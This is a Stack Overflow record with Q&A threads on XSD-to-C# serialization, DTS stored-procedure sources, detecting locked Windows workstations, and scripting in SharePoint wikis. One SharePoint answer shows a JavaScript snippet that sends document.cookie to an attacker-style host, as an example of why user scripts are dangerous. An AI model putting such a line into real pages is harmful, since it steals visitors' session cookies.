item template: <a href=\"https://web.archive.org/web/20121103082137/http://www.stepupframeworks.com/Home/products/xml-object-mapping-xom\" rel=\"nofollow\">click here</a></p>\n" }, { "answer_id": 8934128, "author": "Steve Coleman", "author_id": 1159579, "author_profile": "https://Stackoverflow.com/users/1159579", "pm_score": 1, "selected": false, "text": "<p>I agree xsd is really crap... But they made another version that hardly anyone knows about. Its called xsd object generator. Its the next version and has way more options. It generates files from XSD and works fantastic. If you have a schema generator like XML spy; create an xsd from your xml and use this tool. I have created very very complex classes using this tool.\nThen create partial classes for extra properties\\methods etc, then when you update your schema you just regen your classes and any edits persist in your partial classes.</p>\n\n<p><a href=\"http://www.microsoft.com/download/en/details.aspx?displaylang=en&amp;id=7075\" rel=\"nofollow\">http://www.microsoft.com/download/en/details.aspx?displaylang=en&amp;id=7075</a></p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87621", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9855/" ]
I have an XML that I want to load to objects, manipulate those objects (set values, read values) and then save those XMLs back. It is important for me to have the XML in the structure (xsd) that I created. One way to do that is to write my own serializer, but is there a built in support for it or open source in C# that I can use?
You can generate serializable C# classes from a schema (xsd) using xsd.exe: ``` xsd.exe dependency1.xsd dependency2.xsd schema.xsd /out:outputDir ``` If the schema has dependencies (included/imported schemas), they must all be included on the same command line.
87,647
<p>I have a DTS package with a data transformation task (data pump). I’d like to source the data with the results of a stored procedure that takes parameters, but DTS won’t preview the result set and can’t define the columns in the data transformation task.</p> <p>Has anyone gotten this to work?</p> <p>Caveat: The stored procedure uses two temp tables (and cleans them up, of course)</p>
[ { "answer_id": 87746, "author": "Mitchel Sellers", "author_id": 13279, "author_profile": "https://Stackoverflow.com/users/13279", "pm_score": 0, "selected": false, "text": "<p>You would need to actually load them into a table, then you can use a SQL task to move it from that table into the perm location if you must make a translation.</p>\n\n<p>however, I have found that if working with a stored procedure to source the data, it is almost just as fast and easy to move it to its destination at the same time!</p>\n" }, { "answer_id": 87757, "author": "Sklivvz", "author_id": 7028, "author_profile": "https://Stackoverflow.com/users/7028", "pm_score": 0, "selected": false, "text": "<p>Nope, I could only stored procedures with DTS by having them save the state in scrap tables.</p>\n" }, { "answer_id": 88006, "author": "Cervo", "author_id": 16219, "author_profile": "https://Stackoverflow.com/users/16219", "pm_score": 2, "selected": false, "text": "<p>Enter some valid values for the stored procedure parameters so it runs and returns some data (or even no data, you just need the columns). Then you should be able to do the mapping/etc.. Then do a disconnected edit and change to the actual parameter values (I assume you are getting them from a global variable).</p>\n\n<pre><code>DECLARE @param1 DataType1 \nDECLARE @param2 DataType2\nSET @param1 = global variable \nSET @param2 = global variable (I forget exact syntax) \n\n--EXEC procedure @param1, @param2 \nEXEC dbo.proc value1, value2\n</code></pre>\n\n<p>Basically you run it like this so the procedure returns results. Do the mapping, then in disconnected edit comment out the second <code>EXEC</code> and uncomment the first <code>EXEC</code> and it should work.</p>\n\n<p>Basically you just need to make the procedure run and spit out results. Even if you get no rows back, it will still map the columns correctly. I don't have access to our production system (or even database) to create dts packages. So I create them in a dummy database and replace the stored procedure with something that returns the same columns that the production app would run, but no rows of data. Then after the mapping is done I move it to the production box with the real procedure and it works. This works great if you keep track of the database via scripts. You can just run the script to build an empty shell procedure and when done run the script to put back the true procedure.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87647", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16813/" ]
I have a DTS package with a data transformation task (data pump). I’d like to source the data with the results of a stored procedure that takes parameters, but DTS won’t preview the result set and can’t define the columns in the data transformation task. Has anyone gotten this to work? Caveat: The stored procedure uses two temp tables (and cleans them up, of course)
Enter some valid values for the stored procedure parameters so it runs and returns some data (or even no data, you just need the columns). Then you should be able to do the mapping/etc.. Then do a disconnected edit and change to the actual parameter values (I assume you are getting them from a global variable). ``` DECLARE @param1 DataType1 DECLARE @param2 DataType2 SET @param1 = global variable SET @param2 = global variable (I forget exact syntax) --EXEC procedure @param1, @param2 EXEC dbo.proc value1, value2 ``` Basically you run it like this so the procedure returns results. Do the mapping, then in disconnected edit comment out the second `EXEC` and uncomment the first `EXEC` and it should work. Basically you just need to make the procedure run and spit out results. Even if you get no rows back, it will still map the columns correctly. I don't have access to our production system (or even database) to create dts packages. So I create them in a dummy database and replace the stored procedure with something that returns the same columns that the production app would run, but no rows of data. Then after the mapping is done I move it to the production box with the real procedure and it works. This works great if you keep track of the database via scripts. You can just run the script to build an empty shell procedure and when done run the script to put back the true procedure.
87,689
<p>I have several applications that are part of a suite of tools that various developers at our studio use. these applications are mainly command line apps that open a DOS cmd shell. These apps in turn start up a GUI application that tracks output and status (via sockets) of these command line apps.</p> <p>The command line apps can be started with the user is logged in, when their workstation is locked (they fire off a batch file and then immediately lock their workstaion), and when they are logged out (via a scheduled task). The problems that I have are with the last two cases.</p> <p>If any of these apps fire off when the user is locked or logged out, these command will spawn the GUI windows which tracks the output/status. That's fine, but say the user has their workstation locked -- when they unlock their workstation, the GUI isn't visible. It's running the task list, but it's not visible. The next time these users run some of our command line apps, the GUI doesn't get launched (because it's already running), but because it's not visible on the desktop, users don't see any output.</p> <p>What I'm looking for is a way to tell from my command line apps if they are running behind a locked workstation or when a user is logged out (via scheduled task) -- basically are they running without a user's desktop visible. If I can tell that, then I can simply not start up our GUI and can prevent a lot of problem.</p> <p>These apps that I need to test are C/C++ Windows applications.</p> <p>I hope that this make sense.</p>
[ { "answer_id": 87816, "author": "Adam Neal", "author_id": 13791, "author_profile": "https://Stackoverflow.com/users/13791", "pm_score": 1, "selected": false, "text": "<p>You might be able to use SENS (System Event Notification Services). I've never used it myself, but I'm almost positive it will do what you want: give you notification for events like logon, logoff, screen saver, etc.</p>\n\n<p>I know that's pretty vague, but hopefully it will get you started. A quick google search turned up this, among others: <a href=\"http://discoveringdotnet.alexeyev.org/2008/02/sens-events.html\" rel=\"nofollow noreferrer\">http://discoveringdotnet.alexeyev.org/2008/02/sens-events.html</a></p>\n" }, { "answer_id": 92462, "author": "Mark", "author_id": 4405, "author_profile": "https://Stackoverflow.com/users/4405", "pm_score": 3, "selected": true, "text": "<p>I found the programmatic answer that I was looking for. It has to do with stations. Apparently anything running on the desktop will run on a station with a particular name. Anything that isn't on the desktop (i.e. a process started by the task manager when logged off or on a locked workstation) will get started with a different station name. Example code:</p>\n\n<pre><code>HWINSTA dHandle = GetProcessWindowStation();\nif ( GetUserObjectInformation(dHandle, UOI_NAME, nameBuffer, bufferLen, &amp;lenNeeded) ) {\n if ( stricmp(nameBuffer, \"winsta0\") ) {\n // when we get here, we are not running on the real desktop\n return false;\n }\n}\n</code></pre>\n\n<p>If you get inside the 'if' statement, then your process is not on the desktop, but running \"somewhere else\". I looked at the namebuffer value when not running from the desktop and the names don't mean much, but they are not WinSta0.</p>\n\n<p>Link to the docs <a href=\"http://msdn.microsoft.com/en-us/library/ms681928.aspx\" rel=\"nofollow noreferrer\">here</a>.</p>\n" }, { "answer_id": 107057, "author": "Andy Stevenson", "author_id": 9734, "author_profile": "https://Stackoverflow.com/users/9734", "pm_score": 0, "selected": false, "text": "<p>I have successfully used this approach to detect whether the desktop is locked on Windows:</p>\n\n<pre><code>bool isDesktopLocked = false;\nHDESK inputDesktop = OpenInputDesktop(0, FALSE,\n DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |\n DESKTOP_ENUMERATE | DESKTOP_SWITCHDESKTOP |\n DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |\n DESKTOP_WRITE);\n\nif (NULL == inputDesktop)\n{\n isDesktopLocked = true;\n}\nelse\n{\n CloseDesktop(inputDesktop);\n}\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87689", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4405/" ]
I have several applications that are part of a suite of tools that various developers at our studio use. these applications are mainly command line apps that open a DOS cmd shell. These apps in turn start up a GUI application that tracks output and status (via sockets) of these command line apps. The command line apps can be started with the user is logged in, when their workstation is locked (they fire off a batch file and then immediately lock their workstaion), and when they are logged out (via a scheduled task). The problems that I have are with the last two cases. If any of these apps fire off when the user is locked or logged out, these command will spawn the GUI windows which tracks the output/status. That's fine, but say the user has their workstation locked -- when they unlock their workstation, the GUI isn't visible. It's running the task list, but it's not visible. The next time these users run some of our command line apps, the GUI doesn't get launched (because it's already running), but because it's not visible on the desktop, users don't see any output. What I'm looking for is a way to tell from my command line apps if they are running behind a locked workstation or when a user is logged out (via scheduled task) -- basically are they running without a user's desktop visible. If I can tell that, then I can simply not start up our GUI and can prevent a lot of problem. These apps that I need to test are C/C++ Windows applications. I hope that this make sense.
I found the programmatic answer that I was looking for. It has to do with stations. Apparently anything running on the desktop will run on a station with a particular name. Anything that isn't on the desktop (i.e. a process started by the task manager when logged off or on a locked workstation) will get started with a different station name. Example code: ``` HWINSTA dHandle = GetProcessWindowStation(); if ( GetUserObjectInformation(dHandle, UOI_NAME, nameBuffer, bufferLen, &lenNeeded) ) { if ( stricmp(nameBuffer, "winsta0") ) { // when we get here, we are not running on the real desktop return false; } } ``` If you get inside the 'if' statement, then your process is not on the desktop, but running "somewhere else". I looked at the namebuffer value when not running from the desktop and the names don't mean much, but they are not WinSta0. Link to the docs [here](http://msdn.microsoft.com/en-us/library/ms681928.aspx).
87,692
<p>How can I, as the wiki admin, enter scripting (Javascript) into a Sharepoint wiki page?<br><br> I would like to enter a title and, when clicking on that, having displayed under it a small explanation. I usually have done that with javascript, any other idea?</p>
[ { "answer_id": 87701, "author": "sblundy", "author_id": 4893, "author_profile": "https://Stackoverflow.com/users/4893", "pm_score": 0, "selected": false, "text": "<p>That sounds like a security risk. It seems it's possible for the wiki admin to install scripts, see <a href=\"http://en.wikipedia.org/wiki/Wikipedia:WikiProject_User_scripts\" rel=\"nofollow noreferrer\">wikipedia's user scripts</a>. </p>\n" }, { "answer_id": 87710, "author": "RobbieGee", "author_id": 6752, "author_profile": "https://Stackoverflow.com/users/6752", "pm_score": 0, "selected": false, "text": "<p>You should not be able to add javascript code for any public wiki. If you are hosting it yourself, then you need to ask for a specific wiki system so someone can help you to modify the settings - if at all possible for that system.</p>\n" }, { "answer_id": 87718, "author": "Steve Landey", "author_id": 8061, "author_profile": "https://Stackoverflow.com/users/8061", "pm_score": 0, "selected": false, "text": "<p>If you're talking about using Javascript as part of a web page on this site, you can't. Or any other public wiki for that matter - it's a security risk.</p>\n\n<p>If you're talking about posting a code sample, click on the '101010' button above the text box.</p>\n" }, { "answer_id": 87721, "author": "Lasse V. Karlsen", "author_id": 267, "author_profile": "https://Stackoverflow.com/users/267", "pm_score": 0, "selected": false, "text": "<p>It would of course depend on the wiki engine you're talking to. Most likely though, as sblundy says, it would be a security risk to allow free usage of javascript on the wiki page.</p>\n" }, { "answer_id": 87728, "author": "Lou Franco", "author_id": 3937, "author_profile": "https://Stackoverflow.com/users/3937", "pm_score": 1, "selected": false, "text": "<p>It completely depends on the specific Wiki software you are using. The way I've seen work is to host a js file somewhere else and then include with a script tag with a src attribute. </p>\n\n<p>If they don't allow that, maybe they allow an IFRAME that you can set to a page that includes the script. Using the second technique, you won't be allowed to access the host page's DOM.</p>\n" }, { "answer_id": 87739, "author": "RobbieGee", "author_id": 6752, "author_profile": "https://Stackoverflow.com/users/6752", "pm_score": 0, "selected": false, "text": "<p>Add <code>title=\"text here\"</code> to any tag and it should show a text when hovering on it.<br>\nInternet Explorer shows the text when you use the <code>alt=\"text here\"</code> attribute, although that is not according to the standards.</p>\n\n<p>I tested now, and you can add <code>&lt;h2 title=\"some explanation here\"&gt;headline&lt;/h2&gt;</code> to any system based on wikimedia (the one Wikipedia uses).</p>\n" }, { "answer_id": 87744, "author": "pcorcoran", "author_id": 15992, "author_profile": "https://Stackoverflow.com/users/15992", "pm_score": 4, "selected": false, "text": "<p>If the wiki authors are wise, there's probably no way to do this.</p>\n\n<p>The problem with user-contributed JavaScript is that it opens the door for all forms of evil-doers to grab data from the unsuspecting.</p>\n\n<p>Let's suppose evil-me posts a script on a public web site:</p>\n\n<pre><code>i = new Image();\ni.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;\n</code></pre>\n\n<p>Now I will receive the cookie information of each visitor to the page, posted to a log on my server. And that's just the tip of the iceberg.</p>\n" }, { "answer_id": 87895, "author": "Nate", "author_id": 12779, "author_profile": "https://Stackoverflow.com/users/12779", "pm_score": 3, "selected": true, "text": "<p>Assuming you're the administrator of the wiki and are willing display this on mouseover instead of on click, you don't need javascript at all -- you can use straight CSS. Here's an example of the styles and markup:</p>\n\n<pre><code>&lt;!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\n \"http://www.w3.org/TR/html4/strict.dtd\"&gt;\n&lt;html&gt;\n&lt;head&gt;\n &lt;title&gt;Test&lt;/title&gt;\n &lt;style type=\"text/css\"&gt;\n h1 { padding-bottom: .5em; position: relative; }\n h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }\n h1:hover span { display: block; }\n &lt;/style&gt;\n&lt;/head&gt;\n&lt;body&gt;\n &lt;h1&gt;Here is the title!\n &lt;span&gt;Here is a little explanation&lt;/span&gt;\n &lt;/h1&gt;\n &lt;p&gt;Here is some page content&lt;/p&gt;\n&lt;/body&gt;\n&lt;/html&gt;\n</code></pre>\n\n<p>With some more involved styles, your tooltip box can look as nice as you'd like.</p>\n" }, { "answer_id": 89375, "author": "Tom Resing", "author_id": 17063, "author_profile": "https://Stackoverflow.com/users/17063", "pm_score": 1, "selected": false, "text": "<p>I like the CSS answer. When you can use CSS instead of Javascript it results in simpler markup.<br>\nAnother thing to look into is the Community Kit for SharePoint Enhanced Wiki Edition on Codeplex. You can download the source code and add in your own features. Or you can suggest this as a new feature in the forum.</p>\n" }, { "answer_id": 56447611, "author": "mm201", "author_id": 3878562, "author_profile": "https://Stackoverflow.com/users/3878562", "pm_score": 1, "selected": false, "text": "<h1>Use a Content Editor Web Part</h1>\n\n<p>From the ribbon, select <code>Insert</code> and choose <code>Web Part</code>. From the menu, go to <code>Media and Content</code> and choose <code>Content Editor</code>. From the newly created webpart's dropdown menu, choose <code>Edit Web Part</code>. From the right webpart settings menu, expand <code>Appearance</code> and set <code>Chrome Type</code> to <code>None</code>. Click <code>Click Here to Add Content</code> on the webpart and locate <code>Edit HTML Source</code> in the ribbon. You can use HTML in this area without it being sanitized away.</p>\n\n<p>Note: If you plan on adding behaviours to lots of page elements, you may want to upload .js files to Style Library and include only the <code>&lt;script src=\"...\"&gt;</code> tag in the Content Editor. You may also want to look into using a custom master or page layout.</p>\n\n<p>Source: <a href=\"https://cobwwweb.com/how-to-run-javascript-on-sharepoint-pages\" rel=\"nofollow noreferrer\">https://cobwwweb.com/how-to-run-javascript-on-sharepoint-pages</a></p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/87692", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15346/" ]
How can I, as the wiki admin, enter scripting (Javascript) into a Sharepoint wiki page? I would like to enter a title and, when clicking on that, having displayed under it a small explanation. I usually have done that with javascript, any other idea?
Assuming you're the administrator of the wiki and are willing display this on mouseover instead of on click, you don't need javascript at all -- you can use straight CSS. Here's an example of the styles and markup: ``` <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <title>Test</title> <style type="text/css"> h1 { padding-bottom: .5em; position: relative; } h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; } h1:hover span { display: block; } </style> </head> <body> <h1>Here is the title! <span>Here is a little explanation</span> </h1> <p>Here is some page content</p> </body> </html> ``` With some more involved styles, your tooltip box can look as nice as you'd like.